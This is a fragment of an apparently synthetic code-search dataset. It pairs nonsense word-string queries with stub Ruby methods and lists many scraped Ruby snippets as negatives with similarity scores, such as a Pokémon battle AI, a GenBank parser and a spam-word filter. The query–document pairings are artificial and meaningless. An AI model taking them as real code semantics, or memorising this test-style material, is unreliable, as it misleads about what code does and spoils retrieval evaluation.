ia_results[0]\\n if (result[:damage].to_i < pokemon.max_hp / 4) or (pokemon.hp_rate < 0.25) or !result[:faster]\\n return if check_switch(get_pokemon(pokemon))\\n return if check_item_heal(get_pokemon(pokemon))\\n end\\n return if result[:value] <= 0 and try_switch(pokemon)\\n\\n result = ia_results[rand(ia_results.size).to_i] if result[:value] <= 0\\n if(result[:skill])\\n if result[:skill_data].is_no_choice_skill? #> Pas de choix de cible\\n _stack_add_attack(\\n skill_index: result[:skill],\\n target_list: util_targetselection_automatic(pokemon,result[:skill_data]),\\n launcher: pokemon\\n )\\n #@results<<[0, result[:skill], util_targetselection_automatic(pokemon,result[:skill_data]), pokemon]\\n else\\n _stack_add_attack(\\n skill_index: result[:skill],\\n target_list: [result[:target] < 0 ? @actors[-result[:target]-1] : @enemies[result[:target]]],\\n launcher: pokemon\\n )\\n #@results<<[0, result[:skill], [result[:target] < 0 ? @actors[-result[:target]-1] : @enemies[result[:target]]], pokemon]\\n end\\n else\\n\\n end\\n end\",\n \"def unusual_sport; end\",\n \"def pcode4\\n school.sierra_code\\n end\",\n \"def gethashespersec\\n coind.gethashespersec\\n end\",\n \"def buildRegularBody carbonCount\\n onesValue = carbonCount % 10\\n onesTerm = [\\\"\\\",\\\"hen\\\",\\\"do\\\",\\\"tri\\\",\\\"tetra\\\",\\\"penta\\\",\\\"hexa\\\",\\\"hepta\\\",\\\"octa\\\",\\\"nona\\\"][onesValue]\\n tensValue = (carbonCount / 10) % 10\\n tensTerm = [\\\"\\\",\\\"deca\\\",\\\"icosa\\\",\\\"triaconta\\\",\\\"tetraconta\\\",\\\"pentaconta\\\",\\\"hexaconta\\\",\\\"heptaconta\\\",\\\"octaconta\\\",\\\"nonaconta\\\"][tensValue]\\n hundredsValue = (carbonCount /100) % 10\\n hundredsTerm = [\\\"\\\",\\\"hect\\\",\\\"dicta\\\",\\\"tricta\\\",\\\"tetracta\\\",\\\"pentacta\\\",\\\"hexacta\\\",\\\"heptacta\\\",\\\"octacta\\\",\\\"nonacta\\\"][hundredsValue]\\n thousandsValue = (carbonCount /1000) % 10\\n thousandsTerm = [\\\"\\\",\\\"kili\\\",\\\"dili\\\",\\\"trili\\\",\\\"tetrali\\\",\\\"pentali\\\",\\\"hexali\\\",\\\"heptali\\\",\\\"octali\\\",\\\"nonali\\\"][thousandsValue]\\n iupac = onesTerm + tensTerm + hundredsTerm + thousandsTerm\\n iupac = iupac.gsub(/nh/,\\\"nih\\\")\\n iupac.gsub(/th/,\\\"tah\\\")\\n end\",\n \"def overminute_aregenerative(leptoprosopous_phyllostomatinae, crescive_toneless)\\n end\",\n \"def parse_ictv_hpv(asked_gene)\\n #get\\n url = 'http://phene.cpmc.columbia.edu/Ictv/fs_papil.htm#Genus01'\\n #The URL should not contain illegeal characters. Hence the query parameter which, in many cases,\\n #will be accepted as user input, needs to be encoded using the URI.encode method.\\n #url = \\\"http://search.yahooapis.com/WebSearchService/V1/webSearch?appid=YahooDemo&query=#{URI.encode(\\\"premshree pillai\\\")}&results=1\\\"\\n begin\\n resp = Net::HTTP.get_response(URI.parse(url)) # get_response takes an URI object\\n\\n\\n\\n rescue Exception => e\\n puts 'Connection error: ' + e.message\\n end\\n\\n #parsing de la page web\\n hpv_types_acces = {}\\n\\n txt= resp.body\\n #print resp.to_s + \\\"\\\\n\\\"\\n\\n txt.each { |line|\\n matched = /\\\\[(.*)\\\\].*\\\\((HPV-.*)\\\\)/.match(line).to_s\\n if matched !=''\\n accession = $1\\n hpv_type = $2\\n #puts \\\"----------> #{line}\\\"\\n\\n hpv_types_acces[hpv_type]=accession unless /^NC_/ =~ hpv_types_acces[hpv_type]\\n\\n puts \\\"#{accession}:#{hpv_type}\\\"\\n\\n\\n end\\n\\n \\n }\\n\\n puts hpv_types_acces.inspect\\n\\n # Retrieve the sequence of accession number M33388 from the EMBL\\n # database.\\n #server = Bio::Fetch.new() #uses default server\\n #puts server.fetch('embl','M33388')\\n\\n # Do the same thing without creating a Bio::Fetch object. This method always\\n # uses the default dbfetch server: http://bioruby.org/cgi-bin/biofetch.rb\\n #puts Bio::Fetch.query('embl','M33388')\\n\\n # To know what databases are available on the bioruby dbfetch server:\\n #server = Bio::Fetch.new()\\n #puts server.databases\\n\\n # Some databases provide their data in different formats (e.g. 'fasta',\\n # 'genbank' or 'embl'). To check which formats are supported by a given\\n # database:\\n #puts '-----------------'\\n #puts server.formats('embl')\\n\\n ncbi = Bio::NCBI::REST.new\\n Bio::NCBI.default_email=('dunarel@gmail.com')\\n\\n #recuperate proteins\\n hpv_types_prot_seq = {}\\n\\n hpv_types_acces.each_pair { |name, val|\\n #val = hpv_types_acces['HPV-41']\\n #val = hpv_types_acces['HPV-81']\\n # entry is a string containing only one entry contents\\n entry = ncbi.efetch(val, {\\\"db\\\"=>\\\"nucleotide\\\", \\\"rettype\\\"=>\\\"gb\\\", \\\"retmode\\\" => \\\"text\\\"})\\n gb = Bio::GenBank.new(entry)\\n\\n gb.each_cds() {|feature|\\n gene = ''\\n product = ''\\n translation = ''\\n note = ''\\n debut = ''\\n fin = ''\\n matched =''\\n\\n feature.each do |qualifier|\\n if qualifier.qualifier == 'product'\\n #puts \\\"- \\\" + qualifier.qualifier\\n product= qualifier.value\\n\\n end\\n\\n if qualifier.qualifier == 'gene'\\n gene= qualifier.value\\n end\\n\\n if qualifier.qualifier == 'note'\\n note= qualifier.value\\n end\\n\\n if qualifier.qualifier == 'translation'\\n translation = qualifier.value\\n end\\n end\\n\\n #puts \\\"product: #{product}, gene: #{gene}, note: #{note}, translation: #{translation}\\\"\\n\\n matched = /[ELXYZ]\\\\d?\\\\w?/.match(gene).to_s\\n\\n if matched == ''\\n matched = /[ELXYZ]\\\\d?\\\\w?/.match(product).to_s\\n end\\n\\n matched = /[ELXYZ]\\\\d?\\\\w?/.match(note).to_s if matched == ''\\n\\n matched.capitalize()\\n\\n\\n\\n position = case feature.position\\n when /join\\\\((\\\\d+).*\\\\.\\\\.(\\\\d+)\\\\)/ then $1 +'..' + $2\\n else feature.position\\n end\\n\\n\\n\\n debut = position.split(\\\"..\\\")[0]\\n debut = debut.gsub('<','')\\n\\n fin = position.split(\\\"..\\\")[1]\\n fin = fin.gsub('>','')\\n\\n if matched == asked_gene\\n puts \\\" #{val} \\\\t#{debut}:#{fin} \\\\t gene:#{gene} \\\\t product:#{product} \\\\t note:#{note} \\\\t matched#{matched} \\\\t #{translation}\\\"\\n\\n hpv_types_prot_seq[name]=translation\\n end\\n\\n\\n }\\n\\n }\\n #ncbi.efetch(\\\"J00231\\\", {\\\"db\\\"=>\\\"nuccore\\\", \\\"rettype\\\"=>\\\"gb\\\", \\\"retmode\\\"=>\\\"xml\\\"})\\n #ncbi.efetch(\\\"AAA52805\\\", {\\\"db\\\"=>\\\"protein\\\", \\\"rettype\\\"=>\\\"gb\\\"})\\n\\n return hpv_types_prot_seq\\n\\n end\",\n \"def correct_literacy_rh_11_12_1_code(element)\\n if (element.ref_id == '32D9C8830A6C4fd5B715A1DFFC4D4BA4' or element.parent_ref_id == 'F9877ECD38D8432185F96C5EC5A050AF') and element.statement.match('^Cite specific textual evidence')\\n element.instance_variable_set(:@code,'CCSS.ELA-Literacy.RH.11-12.1')\\n end\\n end\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.6650549","0.61000484","0.6010805","0.5837926","0.5812932","0.5796325","0.5796325","0.576988","0.57314306","0.57206297","0.5701132","0.569706","0.569144","0.56348455","0.5628513","0.5595724","0.5578317","0.55731064","0.5547056","0.55241734","0.5512327","0.5500917","0.54851437","0.54795724","0.54607046","0.54572785","0.54480076","0.5447098","0.54387134","0.5428953","0.54243594","0.54137695","0.54124874","0.5411213","0.54053926","0.5401948","0.5388665","0.53730136","0.5364247","0.5362171","0.5355933","0.53505814","0.53168386","0.5314572","0.5314048","0.5313392","0.5309207","0.5306005","0.52978647","0.5293177","0.52848303","0.52768695","0.5271379","0.5269582","0.5266887","0.52586126","0.52508426","0.5250165","0.5247172","0.5246175","0.52374196","0.52368134","0.522746","0.5225728","0.5222163","0.52217096","0.5221165","0.5220441","0.5204816","0.51977974","0.51949733","0.51859146","0.5185062","0.5182617","0.51630473","0.516295","0.51603025","0.5156817","0.51554155","0.5154694","0.5151955","0.5148153","0.5147606","0.51445115","0.5141739","0.5126128","0.51230973","0.51225156","0.511888","0.5117729","0.51175565","0.51074964","0.5106827","0.51061153","0.50987715","0.50984985","0.5098443","0.50964576","0.5092681","0.50911564","0.50862527"],"string":"[\n \"0.6650549\",\n \"0.61000484\",\n \"0.6010805\",\n \"0.5837926\",\n \"0.5812932\",\n \"0.5796325\",\n \"0.5796325\",\n \"0.576988\",\n \"0.57314306\",\n \"0.57206297\",\n \"0.5701132\",\n \"0.569706\",\n \"0.569144\",\n \"0.56348455\",\n \"0.5628513\",\n \"0.5595724\",\n \"0.5578317\",\n \"0.55731064\",\n \"0.5547056\",\n \"0.55241734\",\n \"0.5512327\",\n \"0.5500917\",\n \"0.54851437\",\n \"0.54795724\",\n \"0.54607046\",\n \"0.54572785\",\n \"0.54480076\",\n \"0.5447098\",\n \"0.54387134\",\n \"0.5428953\",\n \"0.54243594\",\n \"0.54137695\",\n \"0.54124874\",\n \"0.5411213\",\n \"0.54053926\",\n \"0.5401948\",\n \"0.5388665\",\n \"0.53730136\",\n \"0.5364247\",\n \"0.5362171\",\n \"0.5355933\",\n \"0.53505814\",\n \"0.53168386\",\n \"0.5314572\",\n \"0.5314048\",\n \"0.5313392\",\n \"0.5309207\",\n \"0.5306005\",\n \"0.52978647\",\n \"0.5293177\",\n \"0.52848303\",\n \"0.52768695\",\n \"0.5271379\",\n \"0.5269582\",\n \"0.5266887\",\n \"0.52586126\",\n \"0.52508426\",\n \"0.5250165\",\n \"0.5247172\",\n \"0.5246175\",\n \"0.52374196\",\n \"0.52368134\",\n \"0.522746\",\n \"0.5225728\",\n \"0.5222163\",\n \"0.52217096\",\n \"0.5221165\",\n \"0.5220441\",\n \"0.5204816\",\n \"0.51977974\",\n \"0.51949733\",\n \"0.51859146\",\n \"0.5185062\",\n \"0.5182617\",\n \"0.51630473\",\n \"0.516295\",\n \"0.51603025\",\n \"0.5156817\",\n \"0.51554155\",\n \"0.5154694\",\n \"0.5151955\",\n \"0.5148153\",\n \"0.5147606\",\n \"0.51445115\",\n \"0.5141739\",\n \"0.5126128\",\n \"0.51230973\",\n \"0.51225156\",\n \"0.511888\",\n \"0.5117729\",\n \"0.51175565\",\n \"0.51074964\",\n \"0.5106827\",\n \"0.51061153\",\n \"0.50987715\",\n \"0.50984985\",\n \"0.5098443\",\n \"0.50964576\",\n \"0.5092681\",\n \"0.50911564\",\n \"0.50862527\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.0"},"document_rank":{"kind":"string","value":"-1"}}},{"rowIdx":171986,"cells":{"query":{"kind":"string","value":"Unnicknamed ajuga rebetray postneurotic prandial bridemaid Caruncular staverwort leaveless begird theromorph transmutability Dire armure telomitic pegasus digamma camelus Unscrutable dermorhynchi unglossily rumex finochio offenseful"},"document":{"kind":"string","value":"def bradypode_paracephalus()\n end"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def silly_adjective; end","def emotional_adjective; end","def nonstriker_perimartium(pronunciation_crotched)\n end","def badish\n# Post process each bad entry to match against the profesor names in a regular expression fashion\nbad.each do |item|\n # unpack\n id = materias[item][0]\n rfc = materias[item][3]\n p_name = materias[item][4]\n #puts materias[item].inspect if (DEBUG)\n\n #name = []\n profesores.each do |profesor|\n # normalize string and split into words\n name = profesor[1].chomp.upcase.gsub(/\\s+/,' ').gsub(/(M\\.[ICAG]|L\\.A|I\\.Q|ING|FIS|MTRO|MRTO|DRA?)\\.?$/,\"\").split(\" \")\n # match the known name against a regular expression\n if (name.length >= 5)\n regex = Regexp.new(\"^\"+name[0]+\" \"+name[1]+\" \"+name[2]+\" \"+name[3]+\" \"+name[4])\n puts [p_name , name , regex].inspect if (p_name =~ regex)\n end\n if (name.length >= 4)\n regex = Regexp.new(\"^\"+name[0]+\" \"+name[1]+\" \"+name[2]+\" \"+name[3])\n puts [p_name , name , regex].inspect if (p_name =~ regex)\n end\n if (name.length >= 3)\n regex = Regexp.new(\"^\"+name[0]+\" \"+name[1]+\" \"+name[2])\n puts [p_name , name , regex].inspect if (p_name =~ regex)\n end\n if (name.length >= 2)\n regex = Regexp.new(\"^\"+name[0]+\" \"+name[1])\n puts [p_name , name , regex].inspect if (p_name =~ regex)\n end\n end\nend\nend","def romeo_and_juliet; end","def suivre; end","def anchored; end","def wookie_sentence; end","def king_richard_iii; end","def tongue_twister; end","def unusual_sport; end","def\n \nend\n\n\n# 6. sentence_maker refactored solution","def sanitize text\n SANITIZE_THIS.each { |s| text = text.gsub(/#{s}/,'') }\n\n #római számok kiegészítés\n text = text.gsub(/\\W*(#{ROMAISZAMOK.keys.join('|')})\\.\\W*(\\w+)/) do \n ROMAISZAMOK[$1] ? ( ROMAISZAMOK[$1] + ' ' + $2 ) : $&\n end\n \n #századok\n text = text.gsub(/(\\W*)(#{(1..21).to_a.join('|')})\\.\\W+század/) do\n $1 + ROMAISZAMOK.values[($2.to_i - 1)]+' század'\n end\n\n #törtek ( itt mind , mind . után jön egy számsorozat\n text = text.gsub(/(\\d+)[,.](\\d+)/) { $1 + ' egész,' + $2 + ' ' }\n\n #külön írt számok, ha az első nem csatlakozik karakterhez, mint bolygónevek pl M4079 448 km/sec\n # és a második 3 karakter, hogy táblázatban lévő évszámokat pl ne vonjon össze\n text = text.gsub(/(\\W\\d+)\\s(\\d{3})/) { $1 + $2 }\n\n #idegesített az isbn\n text = text.gsub(/(ISBN)\\s*([0-9\\-]+)$/i) { 'iesbéen ' + $2.split('').join(' ') }\n\n # ie isz kr e kr u\n text = text.gsub(/(i\\.{0,1}\\s{0,1}sz\\.{0,1})\\s{0,1}(\\d)/i){ ' időszámításunk szerint ' + $2 }\n text = text.gsub(/([kK]r\\.{0,1}\\s{0,1}sz\\.{0,1})\\s{0,1}(\\d)/){ ' Krisztus szerint ' + $2 }\n text = text.gsub(/([kK]r\\.{0,1}\\s{0,1}u\\.{0,1})\\s{0,1}(\\d)/){ ' Krisztus után ' + $2 }\n text = text.gsub(/(i\\.{0,1}\\s{0,1}e\\.{0,1})\\s{0,1}(\\d)/){ ' időszámításunk előtt ' + $2 }\n text = text.gsub(/([kK]r\\.{0,1}\\s{0,1}e\\.{0,1})\\s{0,1}(\\d)/){ ' Krisztus előtt ' + $2 }\n\n # kis mértékegység hekk\n text = text.gsub(/\\Wkm\\/h\\W/,' km per óra ')\n text = text.gsub(/\\WkW\\W/,' kilo watt ')\n text = text.gsub(/\\Wkg\\W/i,' kilo gramm ')\n text = text.gsub(/(\\d+)\\W+m\\W/) { $1 + ' méter '}\n text = text.gsub(/°/,' fok')\n text = text.gsub(/[&]i/,' és ')\n # négyzet - sokszor előfordul földrajzban\n text = text.gsub(/km\\W{0,1}²/i){ ' négyzet km ' }\n # négyzet - matekban változó után jön. :/, mértékegységeknél előtte, mértékegységeket ki kéne szedni tömbbe\n text = text.gsub(/²/){ ' négyzet ' }\n text = text.gsub(/\\+\\/\\-/,' plussz minusz ')\n text = text.gsub(/×/,' szor ')\n\n # deokosvagyok rövidítésekbű\n text = text.gsub(/\\sstb\\.\\s/i, ' satöbbi ')\n text = text.gsub(/\\sun\\.\\s/i, ' úgy nevezett ')\n text\nend","def gensecretword\r\n\t\t \trand_index = rand(@wordtable.length)\r\n\t\t \t@secret_clue = @descr[rand_index]\r\n\t\t \t@num_words = @wordtable[rand_index].split(\" \").length\r\n\t\t return @wordtable[rand_index].upcase\r\n\t\t end","def enchantment; end","def translate(a)\n\tvoyel = [\"a\",\"e\",\"i\",\"o\",\"u\"]\ncheck = 0\nn = 0\nx = a \n words = a.split(/\\W+/)\n words.each do |a|\n\tok = voyel.include?(a[0])\n\tif ok == true \n\t\ta = a + \"ay\"\n\t\treturn a \n\tend\n while check <= 4\n\tb = a.slice(0..check)\n\n\tcheck = check + 1\n \n\tok = voyel.include?(x[check])\n\ttest1 = \"qu\".include?(x[check])\n\tif test1 == true \n\t\tif check == 1\n\t\t\tb = a.slice(0..check)\n\t\t\ta = a + b + \"ay\"\n\t\treturn a[2..-1]\n\t elsif check == 2\n\t \tb = a.slice(1..check)\n\t \t\ta = a + b + \"ay\"\n\t \treturn a[3..-1]\n\t elsif check == 3 \n\t \t\ta = a + b + \"ay\"\n\t \treturn a[4..-1]\n\t end\n\tend\n\n\tif ok == true \n\t\tif check == 1\n\t\t\ta = a + b + \"ay\"\n\t\treturn a[1..-1]\n\t elsif check == 2\n\t \t\ta = a + b + \"ay\"\n\t \treturn a[2..-1]\n\t elsif check == 3 \n\t \t\ta = a + b + \"ay\"\n\t \treturn a[3..-1]\n\t end\n\tend\nend\nend\nend","def does_not_include_badwords\n\n badwords = %w(\n aloha!\n href=\n -online\n 1freewebspace.com\n 4u\n 5gighost.com\n accutane\n adipex\n adultsex\n advicer\n alprazolam\n amoxil\n arcadepages\n arimidex\n associations.missouristate.edu\n ativan\n augmentin\n baccarrat\n baclofen\n beaver\n blackjack\n bllogspot\n blogs.blackmarble.co.uk\n blowjob\n booker\n buspar\n byob\n car-rental-e-site\n car-rentals-e-site\n carisoprodol\n casino\n casinos\n chatroom\n cialis\n cipro\n citalopram\n clomid\n clonazepam\n comment1\n comment2\n comment3\n comment4\n comment5\n comment6\n coolcoolhu\n coolhu\n credit-card-debt\n credit-report-4u\n creditonlinepersonalloans\n cwas\n cyclen\n cyclobenzaprine\n dating-e-site\n day-trading\n debt-consolidation\n debt-consolidation-consultant\n diazepam\n diovan\n discreetordering\n dostinex\n duty-free\n dutyfree\n dvxuser.com\n equityloans\n fanreach.com\n fioricet\n flagyl\n flowers-leading-site\n fosamax\n freenet\n freenet-shopping\n gambling-\n hair-loss\n health-insurancedeals-4u\n hi5.com\n holdem\n holdempoker\n holdemsoftware\n holdemtexasturbowilson\n homeequityloans\n homefinance\n hotel-dealse-site\n hotele-site\n hotelse-site\n hydrocodone\n hyves.mn\n incest\n insurance-quotesdeals-4u\n insurancedeals-4u\n isuzuforums.com\n jestmaster\n jizz\n jrcreations\n kaboodle.com\n kamagra\n klonopin\n lamictal\n lesbian\n levaquin\n levitra\n lezbian\n loans\n lorazepam\n lycos\n macinstruct\n metformin\n metronidazole\n mortgage-4-u\n mortgagequotes\n musicstation\n nojazzfest\n nolvadex\n online-gambling\n onlinegambling-4u\n ottawavalleyag\n ownsthis\n palm-texas-holdem-game\n paxil\n paydal\n penguinforum\n penis\n personalloansbad\n pharmacy\n phenergan\n phentermine\n poker-chip\n porn\n poze\n profiles.friendster.com\n propecia\n proscar\n pussy\n remeron\n rental-car-e-site\n ringtone\n ringtones\n roulette\n shemale\n shoes\n slot-machine\n Staphcillin\n tamiflu\n tegretol\n texas-holdem\n thorcarlson\n top-e-site\n top-site\n toprol\n toradol\n tramadol\n tramodal\n tramodol\n trim-spa\n ultram\n valeofglamorganconservatives\n valium\n viagra\n vibramycin\n vicodin\n vioxx\n voltaren\n vytorin\n xanax\n zantac\n zithromax\n zofran\n zolpidem\n zolus\n )\n badwords.each do |bw|\n if !comment.nil? && comment.downcase.include?(bw) \n errors.add_to_base(\"Comment Rejected\") \n break\n end\n end\n end","def token!\n # at line 1:8: ( HTML | HEAD | TITLE | BODY | H1 | H2 | H3 | H4 | H5 | H6 | P | DIV | I | B | U | TABLE | TR | TH | TD | A | IMG | BR | OPENING_TAG | CLOSING_TAG | END_TAG | END_NOPAIR_TAG | ID | CLASS | STYLE | BGCOLOR | BACKGROUND | ALIGN | SRC | ALT | WIDTH | HEIGHT | BORDER | VALIGN | BORDERCOLOR | ANAME | HREF | TARGET | SVALUE | NAME | ASSIGN | WS | PCDATA )\n alt_9 = 47\n alt_9 = @dfa9.predict( @input )\n case alt_9\n when 1\n # at line 1:10: HTML\n html!\n\n when 2\n # at line 1:15: HEAD\n head!\n\n when 3\n # at line 1:20: TITLE\n title!\n\n when 4\n # at line 1:26: BODY\n body!\n\n when 5\n # at line 1:31: H1\n h_1!\n\n when 6\n # at line 1:34: H2\n h_2!\n\n when 7\n # at line 1:37: H3\n h_3!\n\n when 8\n # at line 1:40: H4\n h_4!\n\n when 9\n # at line 1:43: H5\n h_5!\n\n when 10\n # at line 1:46: H6\n h_6!\n\n when 11\n # at line 1:49: P\n p!\n\n when 12\n # at line 1:51: DIV\n div!\n\n when 13\n # at line 1:55: I\n i!\n\n when 14\n # at line 1:57: B\n b!\n\n when 15\n # at line 1:59: U\n u!\n\n when 16\n # at line 1:61: TABLE\n table!\n\n when 17\n # at line 1:67: TR\n tr!\n\n when 18\n # at line 1:70: TH\n th!\n\n when 19\n # at line 1:73: TD\n td!\n\n when 20\n # at line 1:76: A\n a!\n\n when 21\n # at line 1:78: IMG\n img!\n\n when 22\n # at line 1:82: BR\n br!\n\n when 23\n # at line 1:85: OPENING_TAG\n opening_tag!\n\n when 24\n # at line 1:97: CLOSING_TAG\n closing_tag!\n\n when 25\n # at line 1:109: END_TAG\n end_tag!\n\n when 26\n # at line 1:117: END_NOPAIR_TAG\n end_nopair_tag!\n\n when 27\n # at line 1:132: ID\n id!\n\n when 28\n # at line 1:135: CLASS\n class!\n\n when 29\n # at line 1:141: STYLE\n style!\n\n when 30\n # at line 1:147: BGCOLOR\n bgcolor!\n\n when 31\n # at line 1:155: BACKGROUND\n background!\n\n when 32\n # at line 1:166: ALIGN\n align!\n\n when 33\n # at line 1:172: SRC\n src!\n\n when 34\n # at line 1:176: ALT\n alt!\n\n when 35\n # at line 1:180: WIDTH\n width!\n\n when 36\n # at line 1:186: HEIGHT\n height!\n\n when 37\n # at line 1:193: BORDER\n border!\n\n when 38\n # at line 1:200: VALIGN\n valign!\n\n when 39\n # at line 1:207: BORDERCOLOR\n bordercolor!\n\n when 40\n # at line 1:219: ANAME\n aname!\n\n when 41\n # at line 1:225: HREF\n href!\n\n when 42\n # at line 1:230: TARGET\n target!\n\n when 43\n # at line 1:237: SVALUE\n svalue!\n\n when 44\n # at line 1:244: NAME\n name!\n\n when 45\n # at line 1:249: ASSIGN\n assign!\n\n when 46\n # at line 1:256: WS\n ws!\n\n when 47\n # at line 1:259: PCDATA\n pcdata!\n\n end\n end","def formation; end","def superweening_adorningly(counterstand_pyrenomycetales)\n end","def translator\n # Greet your user in the language of their people.\n puts [\"SUP KID? \",\n \t \"What didja say? \",\n \t \"How ya doan? \",\n \t \"How ahrya?\",\n \t \"How 'bout them Sox? \",\n \t \"How 'bout them Pats? \"].sample\n\n # Get their response and lop off the carriage return, Massachusetts Left style.\n phrase = gets.chomp.to_s\n\n # Now we're going to award the user points based on density of Boston-specific\n # diction, aka their Beantown Points(tm).\n i = 0\n beantown_points = 0\n wicked_boston_words = [\"bubblah\",\n \"wicked\",\n \"reveah\",\n \"the dot\",\n \"medfid\",\n \"broons\",\n \"barrel\",\n \"digga\",\n \"southie\",\n \"eastie\",\n \"rotary\",\n \"pissah\",\n \"jp\",\n \"fried\",\n \"directional\",\n \"beantown\",\n \"red sox\",\n \"common\",\n \"dunkin donuts\",\n \"patriots\",\n \"celtics\",\n \"green monster\",\n \"dirty watah\",\n \"packie\"\n ]\n\n searchable_phrase = phrase.downcase\n\n wicked_boston_words.each do |i|\n \tif searchable_phrase.include?(i)\n \t\tbeantown_points += 1\n \tend\n end\n\n ########################################################################################################\n # A-Z dictionary of specific gsubs for targeted replacement. This is about to get wicked awesome, bro! #\n ########################################################################################################\n\n # A\n phrase.gsub!(/\\bacross the rivah?\\b/i, 'on the other side of the Charles River') # across the rivah (other side of the charles)\n phrase.gsub!(/\\b(a)dvahtisin'?g?\\b/i, '\\1dvertising') # advahtisin'(g)\n phrase.gsub!(/\\b(a)dvisah?\\b/i, '\\1dviser') # advisah\n phrase.gsub!(/\\b(a)doah\\b/i, '\\1dore') # adoah\n phrase.gsub!(/(a)ftah/i, '\\1fter') # aftah (aftahwahds, raftah, & other containing words)\n phrase.gsub!(/\\bah(h)?(?=\\s[a-z]+in('|g))?\\b/i, 'are') # ah (usually \"are\" if a word ending in \"ing is after\")\n phrase.gsub!(/\\b(the)? Ahbs\\b/i, '\\1 Arboretum') # the ahbs is a fun place to hang out\n phrase.gsub!(/\\b(a)hm\\b/i, '\\1rm') # curt schilling's gotta good ahm\n phrase.gsub!(/(f|w|h|al|ch|fore)ahm(s?)/i, '\\1arm\\2') # ahm at the end of words\n phrase.gsub!(/\\bahr\\b/i, 'are') # ahr\n phrase.gsub!(/\\bahrya\\b/i, 'are you') # how ahrya?!\n phrase.gsub!(/\\b(a)hnt\\b/i, '\\1unt') # ya ahnt is comin' to Christmas\n phrase.gsub!(/\\ball set\\b/i, 'all done') # all set with my dinnah, thank you\n phrase.gsub!(/\\bAllston Christmas\\b/i, 'The last weekend in August when all the students move out and leave their furniture behind in Allston') # Gonna need a biggah cah\n phrase.gsub!(/\\b(a)mbassad(oah|ah)(s)/i, '\\1ambassad\\2\\3') # ambassadoah/dah\n\n # B\n phrase.gsub!(/\\b(b)ah\\b/i, '\\1ar') # bah (let's get a beeah at the bah)\n phrase.gsub!(/\\b(cross|crow|de|dis|draw|handle|iso|sand|side)bah(s)\\b/i, '\\1bar\\2') # \"bah\" (words ending in bah)\n phrase.gsub!(/\\bbahnie\\b/i, 'smart geek') # bahnie\n phrase.gsub!(/\\bbang a left\\b/i, 'take a left') # bang a left...but do it before the oncoming turns green!\n phrase.gsub!(/\\b(b)ankin/i, 'hillside') # watch the game from the bankin\n phrase.gsub!(/\\bbarrel/i, 'trash can') # throw that yankees jersey in the barrel\n phrase.gsub!(/\\bbazo\\b/i, 'drunk') # bazo on the weekendddd\n phrase.gsub!(/\\bbeantown\\b/i, 'Boston') # beantown\n phrase.gsub!(/\\b(b)eeah(s)?\\b/i, '\\1eer') # lemme buy ya a beeah (sam adams please)\n phrase.gsub!(/\\b(b)ettah\\b/i, '\\1etter') # bettah (than you)\n phrase.gsub!(/\\bbig(-|\\s)ball bowling?/i, '10-pin bowling') # big ball bowlin'\n phrase.gsub!(/\\bBig Dig\\b/i, 'the most expensive highway project in U.S. History') # the big dig, depress that central ahtery\n phrase.gsub!(/\\bb(ill-)?ricka/i, 'Billerica') # Billerica\n phrase.gsub!(/\\bboahded\\b/i, 'dibs') # boahded\n phrase.gsub!(/\\bbobos\\b/i, 'boat shoes') # bobos\n phrase.gsub!(/\\bBostonian\\b/i, 'resident of Boston') # Bostonian\n phrase.gsub!(/\\bbook(ed|in)? outta theah\\b/i, 'took off') # bookin' it\n phrase.gsub!(/\\b(b)r(a|u)h\\b/i, '\\1ro') # brah/bruh\n phrase.gsub!(/\\bbrahmin\\b/i, 'WASP-y type') # Brahmin\n phrase.gsub!(/\\bbreakdown lane\\b/i, 'highway shoulder') # breakdown lane at rush hoah, jeez\n phrase.gsub!(/\\bBroons\\b/i, 'Bruins') # Da Broons!\n phrase.gsub!(/\\bbubblah\\b/i, 'water fountain') # bubblah\n\n # C\n phrase.gsub!(/\\b(c)ahds\\b/i, '\\1ards') # cahds\n phrase.gsub!(/\\b(c|ced|chedd|sc|sidec|tramc|supahc|vic)ah(s)?\\b/i, '\\1ar\\2') # cah(s) and 6 containing words that are most common.\n phrase.gsub!(/\\b(c)alendah(s)?\\b/i, '\\1alendar\\2') # calendah (the sawx got theyah openin' day on theah!)\n phrase.gsub!(/\\bcalm ya liva(a|h)?/i, 'relax') # calm ya livah, I didn't eat ya dinnah\n phrase.gsub!(/\\b(c)an't get\\b/i, '\\1an get') # can't get (no satifaction...but plenty of double negatives up for grabs, so)\n phrase.gsub!(/\\bThe Cape\\b/i, 'Cape Code, Massachusetts') # goin' to the Cape this summah\n phrase.gsub!(/\\bcarriage\\b/i, 'grocery cart') # carriage (for ya lobstahs and beeahs)\n phrase.gsub!(/\\b(c)awna\\b/i, '\\1orner') # coolidge cawna\n phrase.gsub!(/\\b(c)ella(h)\\b?/i, 'basement') # go down cella\n phrase.gsub!(/\\b(c)howdah\\b/i, '\\1howder') # chowdah (clam or lobstah, take ya pick at sullivan's!)\n phrase.gsub!(/\\b(coffee|small|medium|lahge) regulah\\b/i, 'coffee with cream and two sugars') # coffee, regulah\n phrase.gsub!(/\\bCochihchewit\\b/i, 'Cochituate') # Co-CHIH-chew-it\n phrase.gsub!(/\\b(c)onsidah\\b/i, '\\1onsider') # considah\n phrase.gsub!(/\\b(c)orridoah(s)\\b/i, '\\1orridor\\2') # corridor\n phrase.gsub!(/\\b(c)umbie(s|'s)/i, 'Cumberland Farms Mini-Mart') # cumbie's\n\n # D\n phrase.gsub!(/\\b(Mon|Tues|Wed|Thurs|Fri|Sun)diz/i, '\\1days') # plural days of the week, less Saturday which can have a couple pronunciations\n phrase.gsub!(/\\b(d)ecoah\\b/i, '\\1ecor') # decoah (in ya apahtment!) -- most frequently used word ending in \"cor\"\n phrase.gsub!(/\\bdecked\\b/i, 'punched') # he got decked at the sox game\n phrase.gsub!(/\\bdecked\\sout\\b/i, 'dressed up') # he's all decked out for his date!\n phrase.gsub!(/\\b(d)idja\\b/i, '\\1id you') # didja\n phrase.gsub!(/\\bdirty watah\\b/i, 'the Charles River') # love that dirty watah\n phrase.gsub!(/\\bdiggah?\\b/i, 'fall') # fell on some ice and took a diggah\n phrase.gsub!(/\\b(d|fl|ind|p|outd)oah\\b/i, '\\1oor') # oah words ending in oor\n phrase.gsub!(/\\b(direc|doc)tah\\b/i, '\\1tor') # doctah/directah\n phrase.gsub!(/\\bdirectional\\b/i, 'turn 